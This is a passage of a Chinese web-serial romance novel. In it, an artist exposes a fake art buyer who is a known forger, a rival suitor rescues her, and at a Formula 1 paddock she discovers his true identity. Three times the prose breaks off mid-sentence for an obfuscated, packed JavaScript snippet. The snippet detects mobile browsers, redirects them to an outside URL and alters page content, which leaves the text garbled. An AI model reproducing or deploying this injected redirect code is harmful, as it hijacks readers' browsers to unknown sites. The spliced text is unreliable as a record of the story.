杨画缇在电话里发了通火,气得不行,何初羽赶忙安抚她,让她回去处理,自己先行去赴曲老板的约。 杨画缇看了眼这栋灯火通明人来人往的大酒楼,思及这老板给的位置是雅座,应该不会有什么问题,便无奈点点头,让何初羽凡事多留个心眼,她处理完事情立刻回来,有事随时联系。 何初羽笑她还拿自己当小孩,很快下了车,跟门口侍者说了预订信息,随后随着指引上了三楼。 曲振国是个满脸横肉的中年男人,见到何初羽眼睛都直了一瞬,堆着笑容站起身,操着一口蹩脚的普通话,“原本以为你们杨总已经是倾国倾城,没想到林小姐更是国色天香,幸会幸会。” 何初羽上画展仅用艺名,一个单字林。 “曲老板,久仰。”何初羽指尖与他象征性地握了下,目光不明显地打量了他一番。 看起来像是港岛一带的暴发户,如果真是这样,他为几幅画挥金如土的架势也倒能说得过去。 “菜还没上齐,林小姐,不如先来尝一杯这里特色的桂花酿,”曲振国说着拿起桌上一个雅致瓷酒瓶,就要往她面前的小盅倒。 “抱歉,我酒精过敏,”何初羽扫了眼桌上几瓶已经明显开封的酒,抬手婉拒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223190|181614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲振国似有不悦,却也没勉强,吩咐侍者上壶龙井来。 “时间紧,曲老板,不如我们先聊聊正事,”何初羽双手交叠在桌面,“我想先大概了解一下您对于定制画的要求,我好判断是否能接,不耽误我们彼此的时间。” “这你放心,我们生意人最懂珍惜时间,我既然能约你出来见面,就代表我的这单生意,你一定是一百分的匹配。”曲振国仰头干了一盅酒,很豪横地翻开他那个三折叠的手机,粗胖的手指在屏幕上灵活点了几下后,放到她面前。 “林小姐在校时期的临摹水准就已经足够高超,我想这几幅画帮我做到一比一还原应该也不难。” 《雪山红树图》,《溪山秋色图》,《四季花鸟图》,何初羽略扫一眼便认出来,三幅皆是古代名画。 “你是要我仿画?” “放心,不是要仿来做什么违法的事,”曲振国眼珠子一转,长叹了声,“你应该也知道,我们港城人最讲风水,我新宅眼下就缺这三幅画,也是因为遍寻真迹不得,这才退而求其次,想找人帮我画个九分像的仿品挂在家里。” “既然如此,您何不直接打印一份出来,这样便能保证有十分的相像。”何初羽一本正经。 “林小姐你可别跟我开玩笑了,这死物印出来的东西怎么能跟活人的画作相提并论,”曲振国拍了拍大腿,“就这三幅画,我给你这个数,今天合同签下我就能立刻先付一半的定金,你看如何。” 他比出三根手指。 何初羽目光似笑非笑,“曲老板,仿画可不值这么多。” “怎么就跟你说不明白,”曲振国掏出烟盒,有些烦躁地取出根香烟点上,“我新宅的风水布局一旦完成,我的生意就会更上一层楼,给你的这点又能算得了什么。” 说辞如此夸张悬浮,像急着给她送钱似的,还是不收都不行的那种。 “看来这个任务可不只是画画那么简单,”何初羽故作沉吟,“毕竟涉及您新宅的风水,想必这作画之人的命格也得契合才行吧。” “曲老板如此器重我这个还没毕业的学生,莫非是连我的生辰八字都调查过了?” “那…那是自然。”曲振国吸了口烟,看向别处。 “可我的生辰连我自己都不清楚,又是谁告知您的,”何初羽掩了下唇,惊讶道,“您可千万别是被什么人给骗了。” “怎么可能,”曲振国咳了两声,“我找的可是港城有名的风水大师,他看你行你就行。” 港城。 “这么厉害,”何初羽长睫一掀,“这位大师姓甚名谁,可否麻烦给我引荐一下,我也想算算我往后的事业运如何。” 曲振国看起来有些跟不上她的思路,但毕竟是老油条了,并没一味让她牵着鼻子走,“好说,只要你帮我把事办漂亮了,我自然帮你引荐。” “怎么样林小姐,”他勾手示意,从保镖那里拿来两份合同,“考虑好现在就可以签字了。” “这毕竟是您的要紧事,为免搞砸,我还是得好好考虑一下,”何初羽看着他,“不妨等我回家签好字,再给您寄过去。” “放心,不会让您等太久。”她补充。 曲振国闻言,动作一顿,将合同又按回到自己面前的桌面上,“不着急,林小姐。” “泰丰楼的位置可不好约,今天上两层的包厢全部满客,就连雅座也只剩这一间,”他站起身,拿过酒瓶倒了杯酒,踱到何初羽身边,“不如我们先喝两杯,吃点好酒好菜,享受享受,合同的事慢慢想。” “今晚肯定能考虑清楚。” 说着,夹烟的那只手端着酒杯就往她唇边递。 “真喝不了,我以茶代酒,请见谅。” 呛人烟雾熏的何初羽咳了两声,借着端茶的姿势往一旁避了避,但他非但不拿远,还越凑越近,另一只手还作势要来搭她的肩,“就是因为你平时总是不敢喝才会过敏,今天我教你喝,多喝点,喝惯了自然就能痊愈。” 要不是觉得事有蹊跷但话还没套出来,她还真是一秒钟都懒得忍下去。 何初羽刚嫌恶地皱了下眉,突如其来的,身后那扇大幅的黄花梨木屏风便轰然倒塌。 木架砸落在牡丹云纹的地毯上,磕碰间发出闷响,头顶题着宋词的纱帘涌动着掀起,带着锋利张扬的馥奇香调,气旋般席卷而来。 电光火石间,一身横肉的曲振国被暴躁到毫不收敛的力道踹翻在地,跌撞间又碰倒另一架屏风,声响狼狈。 梁嘉淮挡在何初羽身前,充满戾气的目光扫了眼桌面,一个手下当即走上前来,将嘴里叼着的香烟扔进一个酒瓶里,晃了晃,伸到曲振国面前。 “喝干净。”梁嘉淮居高临下,眼睑压低,嗓音轻蔑又阴狠。 “一滴都不许剩。” 10. 青梅引 这变故发生的太快,何初羽尚没反应过来,头顶的光源便被尽数遮挡,视野里就只剩那道峻拔宽阔的背影。 黑衣黑裤,衬衫的轻薄衣料难掩背肌贲张的轮廓,半挽起的袖口露出一截精壮的小臂,黑色真皮手绳叠着满钻古巴链,松松覆在嶙峋的青筋和腕骨上,有种恶劣的性感。 他就站在距她一步之遥的前方,用他一贯盛气凌人,不可忤逆的姿态,帮她隔绝掉所有讨厌的一切。 应是明显动怒,此刻他不似寻常般散漫,光是站在那里,气场就有种令人生畏的强势。 不过一呼一吸的瞬间,何初羽攥着裙摆的手指松了,连带着脑中紧绷的那根弦也松了下来。 那股浮华又冷冽的气味浮动在鼻息间,存在感极强,出人意料的安抚了她因这突然变故而略微仓惶的心跳。 再然后竟涌上一股久违的安心感,随之又是深深的意外。 意外这份安心竟然是一个她不那么熟悉,也没什么好感的人带来的。 或许是所谓的吊桥效应,何初羽试图合理解释。 但这情形显然并没有到能触发这种迷人效应的那一步,今晚的事虽然棘手,但她能应付,也并不恐惧。 她已经许久都没恐惧过什么了。 围栏梁柱外宫灯摇曳,楼下换上一曲黄梅戏,唱得婉转,喝彩声不断,专业的舞美音效足以遮掩一切的不平静。 整个三楼唯有何初羽还安稳坐着,男人的身躯高墙似的严实挡在身前,她只能微微偏了偏头,越过他劲窄的腰线向外看去。 周围已经一片狼籍,没了屏风的阻隔,所谓的雅间也不能再称之为雅间。 曲振国带来的那两个保镖已经被几个穿着白衬衫的人压倒在地,而他本人则更为狼狈,整个人侧倒在地上,正挣扎着起身,嘴里还在用粤语骂个不停。 直到他抬头,看清梁嘉淮的面容。 那张因为疼痛和愤怒而扭曲的脸,瞬时只余恐慌。 是发自内心的惊惧。 “梁,梁……”曲振国哆嗦着爬起,话都说不利落。 “讲普通话,”梁嘉淮皱眉,“愣着干什么,我刚说的话你没听见?” “是,是。”男人脸上的横肉抖动着,忙不迭接过那个盛着烟头的酒瓶,嫌弃但又不敢表露,甚至连犹豫也不敢,狠下心仰头艰难吞咽。 一瓶酒被一口气喝完,他缓了两秒忍住想干呕的冲动,努力挤出一个谄媚笑容,双手倒置空酒瓶展示给梁嘉淮看,“喝的干干净了,梁生,拜托你放我一马。” “放你一马,”梁嘉淮冷哂,“两年前让你成功跑路就已经算我放你一马了,谁知道你还敢改头换面,回到我眼皮底下干老本行。” “更胆敢不怕死的把主意打到她身上。” 他说着又怒火涌上,刚跪坐起来的男人又被一脚踹倒在地,“是吧,田大龙。” 田大龙? 何初羽眉梢一挑,看来他的身份果然有诈,还是这个真名更符合他的那种马仔气质。 “她,”田大龙趴在地上,只能透过梁嘉淮锃亮的手工皮鞋看到后面那抹稠绿端庄的裙摆,问得心惊胆颤,“她是您的……” “你连她是谁都不知道就敢招惹,”梁嘉淮冷嗤,“就你这脑子,这辈子也只配死的不明不白。” “这次真不是我自愿啊,都是那个厉老三逼我的,”田大龙匍匐着哭天抢地,“他说只要我干完这一票就送我去瑞士养老,如果不答应就把我的行踪透露出去,我是真的没办法了,求你再放过我这一次吧,真的是最后一次。” 梁嘉淮不为所动,冷冷抬了下手,“把他给我带走。” “顺便,”他俯下身,覆满阴翳的双眸盯着他的眼睛,贵气的嗓音压得很低,“在路上好好回忆一下,按照Wonder的规矩,你应该怎么做。” 田大龙瞬间脸色发白,但还没来及出声,便被梁嘉淮的两个手下堵上嘴架起来径直拖离。 众目睽睽的,就这样明目张胆? 何初羽站起身,望着他们离开的方向问道,“你这是要把他带去哪。” “解决一下私人恩怨而已,放心,我是合法公民,不会把他怎么样的。” 梁嘉淮敛了方才那股阴狠气焰,很优雅斯文的理了理衣衫,使了个眼色让周围手下都退下,这才微笑转向她,“吓到你了?” 其实他本不想闹出这么大动静,更不想在她面前动粗,只是看到这混蛋竟要试图去碰她时,那股火实在没压住。 要不是顾及她还在场,他可很难做到如此收敛。 “还好。”何初羽看了他一眼。 这幅试图避免任何攻击性的笑容放在他脸上,多少还是显得有些不怀好意。 “所以你今天是特意来这里蹲他的。” “没错,”梁嘉淮脸上笑容更甚,“现在相信了吧,何小姐,我说过我们有缘。” 何初羽抿下唇,没接他话,只伸手拿过还放在桌上的那两份合同,粗略翻了下装进包里,“他到底是什么人,卖假画的?” “差不多,”梁嘉淮点头,“他以前就是个倒腾古董的,造假技术一流,在圈子里可以说是臭名昭著。” “不过你既然猜出了他的身份,又为什么要过来和他见面。” 何初羽随手将颊侧的散发捋至耳后,“毕竟他可是实打实在画展上为我的作品花了一百万,想要跟我聊别的合作,我当然得亲自来谈一谈。” 她看向他,坦诚笑了下,“毕竟谁会和钱过不去呢,对吧。” 她很缺钱? 梁嘉淮皱眉,还是说何家因为她逃婚的事,断了她所有的来源。 “买你画就能请你吃饭,是这个意思吗。” 何初羽好笑又不解地挑下眉。 “那你以后的画我全包了,”梁嘉淮当她默认,果断掏出手机,调出二维码递给她,“加个联系方式吧。” “包下我全部的画,”何初羽轻笑,两条纤润的手臂环抱在胸前,“梁先生莫不是想请我吃一辈子的饭。” “这只是作为你追求者的一点小诚意罢了,”梁嘉淮回敬般也扬下眉尾,“当然,请何小姐吃一辈子饭我也乐意之至。” 何初羽偏下头,“我记得我上次跟你讲过,我有婚约了。” “那你也应该记得,我说不介意,”梁嘉淮勾唇,眼眸幽深又恶劣地盯着她看,“只要你喜欢上我。” “所以你的不介意是指,”何初羽长睫掀起,似笑非笑盯着他的眼。 “当第三者也不介意?” 虽然一提起她那个律师竹马他就来气,但他现在已经打定了主意,他想要的,本该属于他的,他就势必要得到。 梁嘉淮闲散将手揣进口袋,踱步朝她逼近,直至她纤薄的脊背贴上一旁那根朱红圆柱,他的皮鞋抵上她嵌着钉珠的鞋尖。 他俯身,清雅的茉莉香氤氲着他的话语,“当然不。” 呼吸在一息间浅浅交融,何初羽得以更近地看清他那双惑人的桃花眼。 眼型狭长,双眼皮顺着眼睑的形状,恰到好处地划出一道利落弧度,长而直的睫毛在棕色瞳仁上投下阴影,让他的神色更加暧昧难辨。 “只要你喜欢我,我就不是第三者。” 带着磁性的低沉嗓音落在耳畔,何初羽眉头很轻地蹙起。 她始终质疑他的动机,却也始终云里雾里,无法确切地摸到些什么。 “梁先生的癖好很特殊。” 何初羽抬手,指尖抵住他肩膀想将他推离,“不过我的道德底线比较高,如果想玩这种背徳的游戏,还请不要找我。” 她是用了些力气的,可不仅没将人推开,反而被攥住手腕,直接按在他紧实的胸膛上。 轻薄丝滑的衬衫隔不住男人滚烫的体温,何初羽猝不及防躲了下,却被桎梏的更紧。 梁嘉淮勾着点唇,目光玩味地垂着,看她神情抗拒,但漂亮的耳廓却无法遮掩地染上些粉红,“感受到了吗。” 何初羽淡淡别开目光,故意用他那种厚脸皮的方式回应,“手感还行。” 谁知刚说完便听到他发出一声满意的嗤笑,贴着他的掌心都能感受到他胸膛明显的震动。 “我说的是我的真心。” “感受到了吗。” 这回轮到何初羽轻嗤。 目光回转,她重新对上他的眼,“这就是梁先生平常哄女孩的手段?” “我可以理解为你夸我身材样貌好,”梁嘉淮抬下眉,“不过这种误解还是很让人伤心。” 恐怕寻常只有你让女孩伤心的份。 何初羽心里想着,看在他今晚也算是帮自己出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223191|181614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口恶气的份上,没真说出来,只是瞪了他一眼,手腕挣了挣,“松手,你靠的太近了。” 梁嘉淮却得寸进尺,另一只手撑在她耳侧的柱身上,将她彻底覆盖在他的阴影之下,“除非,你加上我的联系方式。” 何初羽正想骂他无赖,这时一道女声几乎是尖叫着插进,“喂!你在干什么!” 紧接着一个黑色小羊皮的挎包便飞了过来。梁嘉淮反应很快地拉着何初羽避开,包砸在了柱子上,没扣好的包盖敞开,里面的口红粉饼等小物件随着金属包链一起哗啦啦流了一地。 下面两层都是一派歌舞升平,结果一到三楼就仿佛进了古惑仔的片场,尤其是这一片的屏风东倒西歪,不仅根本没看见曲振国,何初羽还被这个人高马大的男人抓着手腕抵在角落。 杨画缇想当然觉得这是个来闹事的坏人,踩着小高跟气势汹汹地冲过来,没理会散落出来的那些杂物,用鞋尖随意踢到一边,抓起包作势又要打过去。 “这么大个酒楼闹事竟然没人管,不过我揍人可是不眨眼的,敢欺负小羽我要你好看!” “我没事,”何初羽了解她冲动的性格,赶忙上前将她拉到一边,“那个曲老板果真是个骗子,刚才多亏他帮我解围。” 杨画缇回头,朝梁嘉淮挑剔地打量了两眼,“你认识他?” 何初羽略一停顿,“算是。” “何初羽,”杨画缇瞬间激动起来,“你是什么时候背着我认识这么极品的帅哥的,还拉拉扯扯的,给我从实招来!” “……就最近。” “什么情况啊,”杨画缇看她明显一言难尽的表情,狐疑道,“你这么老实的人不会也打算要在结婚前找找刺激吧。” “别乱说,”何初羽掐她,“我的那门婚事很快就会黄了。” “天呐,”杨画缇反应了一下,很夸张地倒吸一口气,“你不会是为了他……” 何初羽还没来得及说话,就被她抓着胳膊使劲晃了晃,“不行啊我跟你讲,这男的一看就是那种每根头发丝都有女朋友的花心公子哥,明显不靠谱,玩玩可以,千万别走心啊,这可是我这种过来人的经验之谈。” “收起你的想象力,”何初羽无奈横她一眼,“我跟他一点都不熟。” “我就说嘛,你如果不是被迫联姻,结婚对象的第一人选肯定是裴大律师,”杨画缇放下心,语气很理所当然,“我们学校现在还有学弟学妹在磕你俩呢,说你们就是一代金童玉女,简直绝配。” 何初羽把捡起的口红塞她手里,“快收拾吧,越扯越没边。” 梁嘉淮就站在一旁,看她们两人借着捡东西的名头嘀嘀咕咕了半天,也不知道在说什么,总之偶尔朝他投来些隐晦的目光。 他唇角抽了抽,也不知道是在议论他什么,好话还是坏话。 不过总之最终何初羽转过来时朝他笑了下,她的朋友也主动朝他挥了下手,“抱歉帅哥,误会你了,谢谢你保护我姐妹。” “举手之劳而已。”梁嘉淮心里松了口气,看来今天总算是刷上去了那么些好感度。 本来还想绅士地问问用不用送送她们,结果就听到杨画缇又接着说。 “不过你完全不是她喜欢的类型,别费心思了,拜拜。” 还没说出口的话就这样卡在了嗓子里,而这对小姐妹却是有说有笑离开,根本没再理睬他。 “呜呜呜我新买的香奈儿,要三万多块。”杨画缇心疼地摸着包上的划痕。 “没事,”何初羽安慰她,“明天我再给你买一个,反正画展的钱也到账了。” “不用不用,现在最主要的是帮我想想明天去见Carrier要穿什么吧,第一次进围场,我决定明天五点起床化妆!” “用不着那么早…” “但我可能会兴奋到睡不着嘿嘿。” …… 墨绿裙摆翩跹,不多时便在视野里消失,梁嘉淮在原地安静站了片刻,忽而抬眼看向站在一旁的Simon。 他刚赶来没多久,前面上来后就站在她们附近。 也不等梁嘉淮开口,Simon便很自觉的走了过来,“我都听到了,她们刚才私下说的话我能复述百分之九十。” “谁问你了,”梁嘉淮不满睨他一眼,只不过沉默两秒后又开口,“说。” 11. 青梅引 杨画缇果真就像她说的犯了小学生春游综合症,兴奋到拉着何初羽聊天聊到凌晨才睡,等到第二天五点,何初羽被生物钟唤醒时,睡在一张床上的人已经洗漱完毕,坐在梳妆台前开始涂涂抹抹。 何初羽不懂赛车,自然没有她这样大的劲头,不过其实杨画缇也不是什么赛车行家,纯属颜控,两年前因为一组超级出圈的采访照,一眼迷上DeathHorizon车队里,蝉联五届F1方程式冠军的现役赛车手Carrier,随后才开始恶补F1相关的知识,不过太专业的她也看不进去,主要了解的还是Carrier相关的信息,就跟追星似的。 之前工作太忙没空去现场,今年刚好在赛事期间结束在海城的工作,有几天时间休息。因为决定的太临时,杨画缇也是下血本托了一圈关系才弄到两张围场俱乐部一天的门票。 两个人八点钟准时出门,打车到了海城国际赛车场,又换乘paddock专属接驳车进了围场。 时间还早,但现场的氛围已经十分火热,天空蓝的没有一丝云,投落的阳光宛如金色浮光锦,耀眼灼热,但这丝毫没有影响任何现场车迷的心情,都穿戴着自己支持车队的周边,兴高采烈的四处参观留影。 杨画缇看的眼热,也迫不及待跑去买DH车队的限定周边,何初羽婉拒了她要给自己也拿一件队服的好意,只陪她一起戴上了DH专属红蓝配色的鸭舌帽。 确认两个人都是完全符合赛场氛围的美丽赛车迷形象后,杨画缇便拉着何初羽直奔pitlanewalk碰运气。 但顶着烈日走了一个小时,除了每个车队的赛车,和现场争分夺秒的换胎练习之外,别的什么也没看到。 其实其他车队还是有几位车手出现,隔着隔离带跟车迷互动。何初羽通过周围人的反应看出其中一位还是大热选手,但对于杨画缇来说,看不到Carrier就等于零。 好在包厢里还有无限量供应的米其林午餐在等待,让她的心情不至于太低落。 她们所在的是一个超大包厢,除了购买这档门票的车迷外,没有独立包厢的车队票位置也在这里,人也就相应的非常多,窗边好视野的位置根本抢不到。 两个人只得在一个偏角落的桌子坐下。前菜和主菜都是肉类和海鲜,何初羽没什么可吃,就只要了份甜菜根沙拉。 “听说车队的vip包厢中午会有车手的小型见面会,可以要到合影签名,”杨画缇切了一小块烤黑鳕鱼送进嘴里,嚼着嚼着叹口气,“老天保佑让我明年遇到一个大佬客户,能直接邀请我进vip的那种。” “其实你如果提前跟我说,我也许可以找Mars帮帮忙,他对这方面一向很在行。”何初羽想起自己那个吃喝玩乐样样在行的弟弟。 唐蕴玉养孩子一直十分纵容宠溺,尤其是对待何年希,要不是何呈楷为了家族名声充分严明了底线,何年希自己爱玩但也天生很有分寸,何初羽都担心他也会被宠成梁嘉淮第二。 至于为什么是第二,是因为她了解自己弟弟没那么滥情喜欢招蜂引蝶。 “诶呀算了,”杨画缇抿了口白葡萄酒,“我知道你不想欠何家人情,虽然你跟何年希关系亲近,但他说到底还是何家人,这也不是多大的事,没必要开这个口。” “你也说了只是小事而已,不用太体贴我。”何初羽笑。 她从前是想全然的划清界限,但现在她这个何家大小姐还得继续当下去,还是揣着明白装糊涂的好。 在包厢大屏看了场练习赛的实况转播,人们都开始陆续往外走,准备排队去tracktour。 就是一群人一起乘坐被俗称为拉猪车的敞篷大卡车在赛道上巡游一周,体验赛道风景。 虽然外面的烈日晴空让人望而却步,但秉着来都来了要值回票价的原则,两人吃完便重新戴好帽子起身,跟着人流一起过去。 只不过在下楼前路过DH车队的vip包厢时,她们远远便看到门口和前厅围着许多人,还有些激动的喧闹。 何初羽便跟着杨画缇好奇往那边看,见是车队热门车手之一的Lukas正在车队工作人员的陪伴下走出,应当是还有什么行程,一行人步伐很快,但Lukas还是抽空主动接过了一个小男孩的帽子为他签名,引得周围人艳羡惊呼。 “其实他的颜我也挺吃的,但是他有女朋友,我还是不追他比较好,”杨画缇看着Lukas健壮帅气的背影对着何初羽耳语道,“而且我这个人天生比较慕强,还是五冠王Carrier更适合当我的偶像,而且他才二十二岁,这种天赋型弟弟简直不要太戳我,一看就是精力旺盛还很行的那种小狗。” 何初羽笑的很淡定,毕竟听惯了她在本科时说出因为想看裸.男而想要转去学油画或者雕塑之类的逆天言论,从那之后她再说什么都显得没那么惊天动地。 不过何初羽淡定的笑容随即便湮灭下去。 DH的领队随后从包厢内走出,而跟他并肩走着,穿着一样的车队红蓝polo衫,正用德语严肃交谈的男人,正是昨晚才见过的梁惟谦。 看多了他穿的珠光宝气花里胡哨的轻浮模样,忽然这样干练正经起来简直判若两人。何初羽起先还没敢认,不过看了两眼后,觉得还挺像那么回事。 比他吊儿郎当的时候讨喜一些。 “他怎么也在这。”杨画缇显然也是认了出来。 梁嘉淮走出前厅大门时,一抬眼也看到了她们。 “好巧,”他抬下手,桃花眼一弯,刚才的严肃神情骤然便被他日常那副轻佻笑容替代,“你们也来看比赛?” 何初羽点点头,有点无奈,感觉还真是被他的乌鸦嘴说中了,有缘有缘,还真是上哪都能碰见。 虽然昨晚已经听到她们临走前说的话,知道何初羽的这位小姐妹是Carrier的粉丝,但梁嘉淮还是装模作样的打量了下她们的装扮,“看样子你们也是DH的车迷?” “我是我是,”杨画缇果断承认,然后试探问道,“所以你是DH的…vip?” 她不太敢确定,因为许多人都是穿着买来的车队队服在看比赛。而从他跟领队说话的情形来看,不太像是被邀请来看比赛的贵宾,倒像是车队的内部人员。 “你可以这么理解,”梁嘉淮笑了下,让领队先走,转过身站定跟她们讲话,“想不想进P房参观一下,我可以带你们进去。” P房是车队用于维修和保养赛车的区域,因为是核心工作场所,只有少量的受邀人群才能进入参观。 杨画缇看了何初羽一眼,何初羽倒没反对让她自己决定,但她想起这人貌似是何初羽一个很难缠的追求者,还是不要招惹的好,于是讪讪笑了下,“我就只是Carrier的粉丝,如果他现在不在P房的话就不麻烦了。” 之所以会这样婉拒,完全是因为她知道偶像刚从练习赛下来没多久,肯定已经去休息了,这会不可能在维修区。 “这样,”梁嘉淮拿出去手机看了眼,“Carrier现在正在车手别墅做采访,要去看看吗。” “哦莫,”杨画缇难以置信瞪大眼,“真的可以吗。” 车手别墅是车手们休息或是接受单独采访的地方,那里只有接待重量级的客人,杨画缇听了只觉得是在做梦。 “当然。” “不会太麻烦你吧?”杨画缇还是有些犹疑,在听到他很随意说了句举手之劳后,激动的挽住何初羽的手臂,“去吗去吗?” “走吧,”何初羽觉得自己再迟疑她眼里的星星就要掉出来了,“不去你又要一个月睡不着觉。” 杨画缇心满意足,靠在何初羽肩上蹭了蹭,“太幸运了天呐,我还求老天爷让我遇到贵人,没想到贵人就在我身边。” 梁嘉淮眉稍一挑,目光落在何初羽身上,绅士又风流地做了个邀请的手势,“这边请。” 何初羽点下头,微微笑了下说了声谢谢。 虽然从一开始她就不想跟他有过多牵扯,但说实在的,他昨晚对付那个冒牌老板时虽然粗暴,却也让她觉得快慰,更何况有这样一个机会能让好姐妹见到自己心心念念的偶像,她不想因为自己的原因而让她失望。 大不了之后请他吃顿饭,她这样想。 而且他看起来跟田大龙颇有些交情,说不定自己昨天的有些疑虑能从他身上得到答案。 一路来到车队别墅,梁嘉淮先带她们参观了一圈。杨画缇在受到许可后痛快拍了半天,兴奋的不行,但等到Carrier采访完毕走出房间,站到她面前的时候,她反而开始有些无所适从的拘谨。 他真人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【姐!!!你怎么跟梁嘉淮那个家伙在一起,你们什么时候认识的????】 【梁嘉淮?】 何初羽没反应过来,刚生了些疑惑,何年希一个截图就发了过来。 【这是画缇姐朋友圈发的视频,我从里面看到的,这个人不是梁嘉淮还能是谁!】 【他没对你怎么样吧,你别瞒我】 何初羽点开图片放大,虽说是视频截图有些虚焦,但图片里被他圈出来的这个,穿着车队polo衫的高大男人,的的确确是梁惟谦没错。 何初羽神情僵硬,脑子一瞬间有如万千乱麻在缠绕。她曾经怀疑过但又打消了的念头竟然是真的。 难怪她从第一次见他就觉得很奇怪,他有时候看她的眼神,对她的话也有种莫名的违和感,总让她感觉意有所指。 原来他竟然就是梁嘉淮本人。 何初羽按灭手机屏。房间里的冷气开的很足,但她却觉得很热,太阳穴在嗡鸣,像是突然中暑。 她实在想不透他到底是要做什么。 一面和她一样逃离订婚宴,一面又假装去澳洲其实追来江州,不表明真实身份,只说对她感兴趣,要暧昧不清。 这样做究竟对他有什么好处。 还来不及细想,车队小哥这时过来问她想喝哪种香槟,她随便选了一种,刚倒进香槟杯里,梁嘉淮这时也从楼上下来,见状让小哥去换无酒精的饮料过来。 “不用。”何初羽看见他就来气,直接当着他的面,端起酒杯一饮而尽。 杯底被她重重搁在茶几上,发出一声挑衅似的脆响。 “这瓶香槟的度数很高,可不是哄小孩玩的饮料。” 梁嘉淮心猛然一惊,根本来不及制止,只能赶忙转身,“我去给你拿药。” “不需要,我昨天是骗人的,对外宣称酒精过敏能避免掉不少麻烦。” 何初羽看似气定神闲地靠进沙发里,而双臂却环在胸前,防卫性的姿态,像极了要兴师问罪。 梁嘉淮松了口气,转过身,刚好看到她抬眼看过来,粉唇噙着一抹温淡到看不出情绪的笑,“所以你呢。” “什么?” “不知道梁先生,有没有骗过人。”